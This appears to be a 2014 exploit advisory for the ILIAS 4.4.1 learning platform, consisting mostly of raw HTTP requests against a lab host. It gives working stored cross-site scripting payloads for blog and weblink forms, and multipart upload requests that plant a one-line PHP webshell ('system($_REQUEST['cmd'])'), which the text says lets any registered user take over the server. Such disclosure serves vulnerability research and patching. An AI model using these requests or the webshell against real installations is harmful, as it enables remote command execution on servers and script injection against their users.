what you don't know can hurt you

ILIAS 4.4.1 Cross Site Scripting / Shell Upload

ILIAS 4.4.1 Cross Site Scripting / Shell Upload
Posted Feb 22, 2014
Authored by HauntIT

ILIAS version 4.4.1 suffers from cross site scripting and remote shell upload vulnerabilities.

tags | exploit, remote, shell, vulnerability, xss
MD5 | e4c6ba8e6571fe0dc7a8076bdaf474c4

ILIAS 4.4.1 Cross Site Scripting / Shell Upload

Change Mirror Download
# ==============================================================
# Title ...| Multiple vulnerabilities in ILIAS
# Version .| ilias-4.4.1.zip
# Date ....| 21.02.2014
# Found ...| HauntIT Blog
# Home ....| www.ilias.de
# ==============================================================

First from admin user logged in:

# ==============================================================
# 1. Persistent xss

---<request>---

POST /k/cms/ilias/ilias.php?wsp_id=2&cmd=post&cmdClass=ilobjbloggui&cmdNode=mw:my:ma&baseClass=
ilPersonalDesktopGUI&fallbackCmd=createPosting&rtoken=6bac7751a71721f25adb9e579dea4344 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 91

title=$("%3cimg%2fsrc%3d'x'%2fonerror%3dalert(9999)%3e")&cmd%5BcreatePosting%5D=Add+Posting
---<request>---


# ==============================================================
# 2. Possibility of uploading webshell

Uploaded file can be found in the ILIAS directories, for example:
---<code>---
k@lab:~/public_html/cms/ilias$ cat ./44444/ilFile/3/file_334/001/shell.php
<?php system($_REQUEST['cmd']); ?>
k@lab:~/public_html/cms/ilias$
---<code>---

Direct access to this file will give you a webshell.

*
* This bug will be described later in section for 'normal/registered' user.
*


# ==============================================================
# 3. XSS

---<request>---
POST /k/cms/ilias/ilias.php?ref_id=1&new_type=webr&cmd=post&cmdClass=ilobjlinkresourcegui&
cmdNode=nm:9y&baseClass=ilRepositoryGUI&rtoken=6bac7751a71721f25adb9e579dea4344 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 760

tar_mode=ext&tar='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&tar_val=%3Cdiv+id%3D%22tar_value
%22%3E%0D%0A%09%0D%0A%3C%2Fdiv%3E%09%0D%0A%3Cdiv+class%3D%22small%22%3E%0D%0A%09%3Ca+id%3D%
22tar_ajax%22+class%3D%22iosEditInternalLinkTrigger%22+href%3D%22ilias.php%3Fref_id%3D1%26n
ew_type%3Dwebr%26postvar%3Dtar%26cmdClass%3Dilinternallinkgui%26cmdNode%3Dnm%3A9y%3A3l%3A3z
%3A3s%3Ai1%26baseClass%3DilRepositoryGUI%26cmdMode%3Dasynch%22%3E%26raquo%3B+Select+Target+
Object%3C%2Fa%3E%0D%0A%3C%2Fdiv%3E%0D%0A%3Cdiv+class%3D%22small++ilNoDisplay%22+id%3D%22tar
_rem%22%3E%0D%0A%09%3Ca+class%3D%22ilLinkInputRemove%22+href%3D%22%23%22%3E%26raquo%3B+Remo
ve%3C%2Fa%3E%0D%0A%3C%2Fdiv%3E&tar_ajax_type=&tar_ajax_id=&tar_ajax_target=&tit=asdasd&des=
asdasd&cmd%5Bsave%5D=Add+Weblink

---<request>---

---<response>---

Target: <span class="asterisk">*</span><br />

<input type="text" name="links[4][tar]" value="'>"><body/onload=alert(9999)>" size="40"
maxlength="500" />

---<response>---




# ==============================================================
# 4. Another webshell upload possibility

There is a possibility of creating webshell when php file is added as an attachement
to email to user(s).


All shells will be located in /ilias/ (wwwroot) directory with value from 'client_id'
(for example: client_id=44444, then your shell is in /ilias/44444/...)



# ==============================================================

Second: from normal/registered user logged in:

# ==============================================================
# 1. When normal user is registered on the latest ILIAS, he is able to add
PHP file contains simple shell. From this moment he will be able to hack
the whole server.

---<request>---
POST /k/cms/ilias/ilias.php?wsp_id=41&new_type=file&cmd=post&cmdClass=
ilobjfilegui&cmdNode=mw:my:jh&baseClass=ilPersonalDesktopGUI&fallbackC
md=uploadFiles&rtoken=2e4e8af720b2204ea51503ca6388a325 HTTP/1.1
Host: 10.149.14.62
(...)
Cache-Control: no-cache

-----------------------------1761332042190
Content-Disposition: form-data; name="title"

shell.php
-----------------------------1761332042190
Content-Disposition: form-data; name="description"


-----------------------------1761332042190
Content-Disposition: form-data; name="extract"

0
-----------------------------1761332042190
Content-Disposition: form-data; name="keep_structure"

0
-----------------------------1761332042190
Content-Disposition: form-data; name="upload_files"; filename="shell.php"
Content-Type: application/octet-stream

<?php system($_REQUEST['cmd']); ?>
-----------------------------1761332042190--

---<request>---


# ==============================================================
# 2. XSS (same place like when admin is logged in)


---<request>---
POST /k/cms/ilias/ilias.php?wsp_id=41&new_type=webr&cmd=post&cmdClass=ilobjlinkresource
gui&cmdNode=mw:my:9y&baseClass=ilPersonalDesktopGUI&rtoken=1561f316d721f9683b0ae5f0b652db25 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 768

tar_mode=ext&tar='%3e"%3e%3cbody%2fonload%3dalert(9999)%3e&tar_val=%3Cdiv+id%3D%22
tar_value%22%3E%0D%0A%09%0D%0A%3C%2Fdiv%3E%09%0D%0A%3Cdiv+class%3D%22small%22%3E%0
D%0A%09%3Ca+id%3D%22tar_ajax%22+class%3D%22iosEditInternalLinkTrigger%22+href%3D%2
2ilias.php%3Fwsp_id%3D41%26new_type%3Dwebr%26postvar%3Dtar%26cmdClass%3Dilinternal
linkgui%26cmdNode%3Dmw%3Amy%3A9y%3A3l%3A3z%3A3s%3Ai1%26baseClass%3DilPersonalDeskt
opGUI%26cmdMode%3Dasynch%22%3E%26raquo%3B+Select+Target+Object%3C%2Fa%3E%0D%0A%3C%
2Fdiv%3E%0D%0A%3Cdiv+class%3D%22small++ilNoDisplay%22+id%3D%22tar_rem%22%3E%0D%0A%
09%3Ca+class%3D%22ilLinkInputRemove%22+href%3D%22%23%22%3E%26raquo%3B+Remove%3C%2F
a%3E%0D%0A%3C%2Fdiv%3E&tar_ajax_type=&tar_ajax_id=&tar_ajax_target=&tit=asdasd&des
=dsa&cmd%5Bsave%5D=Add+Weblink
---<request>---



# ==============================================================
# 3. Persistent xss

---<request>---
POST /k/cms/ilias/ilias.php?wsp_id=111&bmn=2014-02&cmd=post&cmdClass=ilobjbloggui&cmdNode=mw:my:ma&baseClass=ilPersonalDesktopGUI&fallbackCmd=createPosting&rtoken=1561f316d721f9683b0ae5f0b652db25 HTTP/1.1
Host: 10.149.14.62
(...)
Content-Length: 89

title=%27%3E%22%3E%3Cbody%2Fonload%3Dalert%28123%29%3E&cmd%5BcreatePosting%5D=Add+Posting
---<request>---


# ==============================================================
# More @ http://HauntIT.blogspot.com
# Thanks! ;)
# o/
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